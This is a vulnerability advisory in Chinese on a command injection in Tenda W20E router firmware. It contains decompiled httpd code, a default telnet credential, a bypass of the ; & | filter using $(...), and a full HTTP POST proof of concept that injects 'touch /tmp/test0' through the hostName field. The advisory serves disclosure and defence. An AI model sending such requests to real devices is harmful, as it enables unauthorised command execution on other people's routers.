

Tenda W20E 命令注入漏洞

Overview

- 厂商官网: <https://www.tenda.com.cn/>
- 固件下载地址: <https://www.tenda.com.cn/product/download/W20E.html>

Vulnerability information

腾达W20E V16.01.0.6(3392)存在一个命令注入漏洞, 可以在系统中执行任意命令。

Affected version

W20EV5.0升级软件 V16.01.0.6(3392)	
W20EV5.0 升级软件 V16.01.0.5(2867)	
W20EV5.0升级软件 V16.01.0.3(1434)	
W20EV5.0说明书	
W20EV5.0安装指南	
W20EV5.0 高清图片	

该图显示了最新的固件:V16.01.0.6(3392)

Vulnerability details

开启telnet <http://192.168.0.1/goform/telnet>

telnet admin/password is root/ Fireitup

使用ida分析httpd, 在函数do_ping_action中:使用ida分析httpd, 在函数do_ping_action中:

```
hostname = (char_t *)cJSON_GetString(in, "hostName", 0);
if ( !hostname || strchr(hostname, ';') || strchr(hostname, '&') || strchr(hostname, '|') )
    goto fail;
cfg.size = cJSON_GetInt(in, "packageSize", 56);
cfg.pro_version = cJSON_GetInt(in, "pro_ver", 4);
cfg.timeout = cJSON_GetInt(in, "timeout", 1);
cfg.count = 1;
strncpy(cfg.hostname, hostname, 0x3Fu);
if ( cmd_get_ping_output(&cfg, res_buf, 1024) )
{
```

该程序将通过hostname参数获得的内容传递给hostName。

有一些参数的过滤是由if判断的, 但我们可以绕过它, 这将在下一节解释。

然后, 通过strncpy函数将hostname的内容复制到cfg.hostname中。

而cfg是由函数cmd_get_ping_output()调用的。

在函数cmd_get_ping_output中:

```

UGW_RETURN_CODE_ENUM __cdecl cmd_get_ping_output(const CMD_PING_CFG_STRU *cfg, char *output, int o_size)
{
    int v3; // $ra
    int v4; // $s1
    UGW_RETURN_CODE_ENUM v5; // $s0
    int v6; // $s0
    int *v7; // $v0
    char *v8; // $v0
    FILE *fp_0; // [sp+28h] [+28h]
    char new_cmd_buf[256]; // [sp+30h] [+30h] BYREF

    v4 = v3;
    _cyg_profile_func_enter(cmd_get_ping_output);
    memset(new_cmd_buf, 0, sizeof(new_cmd_buf));
    if (cfg)
    {
        snprintf(
            new_cmd_buf,
            0x100u,
            "ping %s -%d -c %d -s %d -W %d -4",
            cfg->hostname,
            cfg->pro_version,
            cfg->count,
            cfg->size,
            cfg->timeout);
        fp_0 = popen(new_cmd_buf, "r");
    }
}

```

然后通过snprintf函数将cfg.hostname的匹配内容格式化为new_cmd_buf。

new_cmd_buf由popen()调用。

存在命令注入漏洞。

相应的网页如下：

[返回](#)

诊断工具

诊断工具:

Ping

▼

IP地址或域名:

Ping包个数:

4

数据包大小:

32

(单位: 字节)

Ping结果显示在这里

开始

Vulnerability exploitation condition

登录后需要获取cookie才能执行攻击。

在if的判断中，可以看到字符(; | &)进行筛选，如果包含这些字符，代码将失败。

但是我们可以用 '\$ ' 来进行命令注入。

```
hostname = (char t *) cJSON_GetString(in, "hostName", 0);
if ( !hostname || strchr(hostname, ';') || strchr(hostname, '&') || strchr(hostname, '|') )
    goto fail;
cfg.size = cJSON_GetInt(in, "packageSize", 56);
cfg.pro_version = cJSON_GetInt(in, "pro_ver", 4);
cfg.timeout = cJSON_GetInt(in, "timeout", 1);
cfg.count = 1;
strncpy(cfg.hostname, hostname, 0x3Fu);
if ( cmd_get_ping_output(&cfg, res_buf, 1024) )
{
```

功能数据包如下，我们将使用它来构建poc。

```
POST /goform/module?1668695093889 HTTP/1.1
Host: 192.168.0.1
Content-Length: 87
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Content-Type: application/json
Origin: http://192.168.0.1
Referer: http://192.168.0.1/index.html?v=3392
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: password=70ebc4f9c9d22827a5874d1bb6f06abddwdvmy; bLanguage=cn; sessionId=W20Ev5:0.167.3:6b0846
Connection: close

{"setFixTools":{"networkTool":1,"hostName":"test$(touch /tmp/test0)","packageSize":32}}
```

Recurring vulnerabilities and POC

为了重现该漏洞，可以遵循以下步骤：

1.连接物理设备

2.用POC攻击

POC和复制结果如下：

The screenshot displays a web browser window with the 'Request' and 'Response' tabs open. The 'Request' tab shows a POST request to the URL `/goform/module?1668695093889` with a JSON body containing a command injection payload. The 'Response' tab shows a 200 OK status. The 'Inspector' tab shows the request details. Below the browser, a terminal window shows the execution of the command, resulting in the creation of a file named `test0` in the `/tmp` directory.

图显示了POC攻击的效果，创建了文件test0。

CVE-ID

unsigned